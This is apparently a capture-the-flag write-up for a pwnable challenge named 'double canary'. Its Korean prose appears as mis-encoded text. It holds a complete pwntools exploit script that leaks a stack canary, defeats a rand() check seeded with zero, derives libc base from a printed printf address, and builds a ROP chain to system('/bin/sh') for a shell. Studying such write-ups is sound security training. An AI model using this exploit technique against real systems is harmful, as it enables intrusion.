๋ถ์ผ : Pwnable
๐ญ v6์ r_rum ๊ฐ์ ์ ๋ฃ์ด์คฌ์ง..? ๊ทธ๋์ ๊ทธ๋ฅ Canary Leak ๋ฌธ์ ๊ฐ ๋์ด ๋ฒ๋ ธ๋ค ใ .ใ
๐ญ ๋ ์๊ธฐ๊ณ ์ฌํ๊ฑด, ๋๋ ์ธ์งํ์ง ๋ชปํ ์ฑ๋ก ๋ผ์
์ ์์ฑํ๋ค... ๊ทธ๋ด ์ ์์ง ์๋ค.
๐ง ๋ฌธ์
๋ฌธ์ ๋ช : double canary
Canary ๋ณดํธ๊ธฐ๋ฒ์ด ๊ฑธ๋ ค์์ด์ Canary ๊ฐ์ ์ฐํํ์ฌ ์ต์คํ๋ก์ํ๋ ๋ฌธ์ ์ด๋ค.
bof
๊ฐ ๋ฐ์ํ๊ณ , printf
ํจ์ ์ฃผ์๋ฅผ ์ถ๋ ฅํด์ฃผ๋ฏ๋ก, LibcBase
๋ฅผ ์ป์ด์ ์ํ๋ ํจ์๋ฅผ ํธ์ถํ์ฌ system
ํจ์๋ฅผ ํธ์ถํ์ฌ ์
ธ์ ์ป๋ ๋ฌธ์ ์ด๋ค.
์ ๊ตฌ์ฑ์ด ๋ฌธ์ ํ์ผ๋ก ์ ๊ณต๋๋ค. ๋ก์ปฌ์์ ๋์ปค ์ปจํ
์ด๋๋ฅผ ์ฌ๋ ค ์ต์คํ๋ก์์ ์งํํ๊ณ , ๋์ผํ ํ์ด๋ก๋๋ฅผ ์๋ฒ์ ์ ์กํ๋ฉด ์
ธ์ ํ๋ํ ์ ์๋ค. ์ด ๋ฌธ์ ๋ libc
ํ์ผ์ด ์ ๊ณต๋๋ค.
๐ง ๋ถ์
๋ฌธ์ ์ค๋ช ์์ ๋งํ๋ฏ์ด Canary๊ฐ ๊ฑธ๋ ค์๋ค. ๋ฌธ์ ๋ฐ์ด๋๋ฆฌ๋ฅผ ๋ถ์ํด๋ณด์.
main
ํจ์์ด๋ค. main ํจ์์ ๋ถ์์ ๋ค์๊ณผ ๊ฐ๋ค.
๐ง printf
์ ์ฃผ์๋ฅผ ์ถ๋ ฅํด์ฃผ๊ณ ์๋ค. ๋ฐ๋ผ์, printf offset๋งํผ ๋นผ์ libc base๋ฅผ ๊ตฌํ ์ ์๋ค.
๐ง nbytes
์์ Name Size๋ฅผ ์
๋ ฅ๋ฐ๊ธฐ ๋๋ฌธ์, v10
๋ณ์์์ bof
๊ฐ ๋ฐ์ํ๋ค.
๐ง ์ด ๋ฌธ์ ์์ ํ๋ก๊ทธ๋จ์ด ์์ํ ๋ rand
ํจ์๋ฅผ ํตํด ๋๋ค ๊ฐ์ v8
๋ณ์๋ก ์ ์ฅํ์ฌ ํ๋ก๊ทธ๋จ ์ข
๋ฃ ์ ์ ์ด๋ฅผ ํ์ธํ๋ค. ํ์ง๋ง, srand(0)
์ผ๋ก seed
๋ฅผ ์์ฑํ๊ณ rand
ํจ์๋ฅผ ํธ์ถํ๋ฉด r_num
์ ๋์ผํ ๊ฐ์ ์ป์ ์ ์๋ค.
๐ง **v8(rbp-0x5c)**
๋ v10(rbp-0x50)
๋ณด๋ค ๋ฎ์ ์ฃผ์๋ฅผ ๊ฐ์ง๊ณ ์๊ธฐ ๋๋ฌธ์ Index Values
์ offset๋งํผ ์
๋ ฅํ์ฌ v8
๋ถํฐ ๋ฐ์ดํฐ๋ฅผ ์
๋ ฅ ๋ฐ์ ์ ์๋ค.
ํ์ง๋ง, ์นด๋๋ฆฌ ๊ฐ ๋ณ์กฐ๋ฅผ ์ฒดํฌํ์ฌ ํ๋ก๊ทธ๋จ์ด ์ข ๋ฃ๋ ๊ฒ์ด๋ค.
main
ํจ์์ 21๋ฒ์งธ ์ค์์ vuln
ํจ์๊ฐ ์คํ๋๋ค. ์ด ํจ์์์ ์นด๋๋ฆฌ๋ฅผ leak
ํ ์ ์๋ค.
vuln
ํจ์์์๋ ๊ธธ์ด๋ฅผ ์
๋ ฅํ์ฌ, ๊ทธ ๋งํผ ์
๋ ฅ๋ฐ๊ธฐ ๋๋ฌธ์ bof
๊ฐ ๋ฐ์ํ๋ค.
๐ง ์ด ํจ์์๋ return ์ ์นด๋๋ฆฌ ๊ฐ ๋ณ์กฐ๋ฅผ ์ฒดํฌํ๊ฒ ๋๋๋ฐ, ํด๋น ํจ์์์๋ v3
ํ์ 1byte
๋ฅผ 0
์ผ๋ก ๋ฐ๊ฟ์ค๋ค. ๋ฐ๋ผ์, ์นด๋๋ฆฌ ๋ณ์์ ํ์ 0x00
์ ๋ค๋ฅธ ๊ฐ์ผ๋ก ๋ฎ๊ณ , ์ด๋ฅผ printf
์ถ๋ ฅ์ผ๋ก ๊ฐ์ leak
ํ๊ณ ๋ ๋ค์ 0x00
์ผ๋ก ๋ฎ์ด์ ์ ์์ ์ผ๋ก return
ํ ์ ์๋ค.
๊ณต๊ฒฉ ์๋๋ฆฌ์ค๋ ๋ค์๊ณผ ๊ฐ๋ค.
srand
ํจ์์ seed๋ฅผ 0์ผ๋ก ํ๊ณ ,rand
ํจ์๋ฅผ ์คํํ์ฌ ๋๋ค ๊ฐ์ ์ป๋๋ค.printf
์ฃผ์๋ฅผ ํตํดoffset
์ ๊ณ์ฐํ์ฌsystem
ํจ์ ์ฃผ์๋ฅผ ์ป๋๋ค.vuln
ํจ์์์ ์นด๋๋ฆฌ๋ฅผ 1bytes ๋ฎ์ดprintf
๋ก ์นด๋๋ฆฌ ๊ฐ์ ์ป๋๋ค.- *Index Values(
v8(rbp-0x5c)-v10(rbp-0x50)
)๋ก *12๋ฅผ ์ ๋ ฅํ๋ค. - mainํจ์์ bof์์ ๊ฐ ๋ณ์์ ๊ฒ์ฆ ๋ถ๋ถ์ ๊ตฌ์ฑํ์ฌ ์ต์คํ๋ก์ํ๋ค.
๐ก ํ์ด๋ก๋
r_num + A*0x5c + canary + B*0x8 + ret(gadget) + pop rdi(gadget) + &'/bin/sh' + &system
๐ง ์ต์คํ๋ก์
from pwn import *
from ctypes import *
import time
#context.log_level='debug'
# rand()
libc_ = CDLL('./libc.so.6')
#seed = libc_.time()
libc_.srand(0)
random = libc_.rand()
#gadget
ret = 0x000000000040101a
pop_rdi = 0x0000000000401573
# init
libc = ELF('./libc.so.6')
e = ELF("./double_canary")
p = process('./double_canary')
#p = remote('192.168.83.137', 13573)
# libc leak
p.recvuntil('printf : ')
printf = int(p.recv(14), 16)
libc_base = printf-libc.sym["printf"]
system = libc_base + libc.sym['system']
sh = libc_base + list(libc.search(b'/bin/sh'))[0]
print('printf :', hex(printf))
print('libc_base :', hex(libc_base))
print('system :', hex(system))
print('sh :', hex(sh))
# canary leak
payload = b'A' * (0x18 + 1)
p.sendlineafter(b'Name Size :',str(len(payload)))
p.sendafter(b'Name :',payload)
p.recvuntil(payload)
canary = u64(b'\x00' + p.recvn(7))
print('canary :',hex(canary))
# exploit
payload = p64(random)
payload += b'A' * (4 + 0x48)
payload += p64(canary)
payload += b'B' * 8
payload += p64(ret)
payload += p64(pop_rdi)
payload += p64(sh)
payload += p64(system)
# debug
#gdb.attach(p)
#pause()
p.sendlineafter(b'Index Value(Name-Index) :',str(12))
p.sendlineafter(b'Name Size :',str(len(payload)))
p.sendafter(b'Name :',payload)
p.interactive()
ํด๋น exploit ์ฝ๋๋ฅผ ์คํํ๋ฉด ์ ธ์ ์ป์ ์ ์๋ค.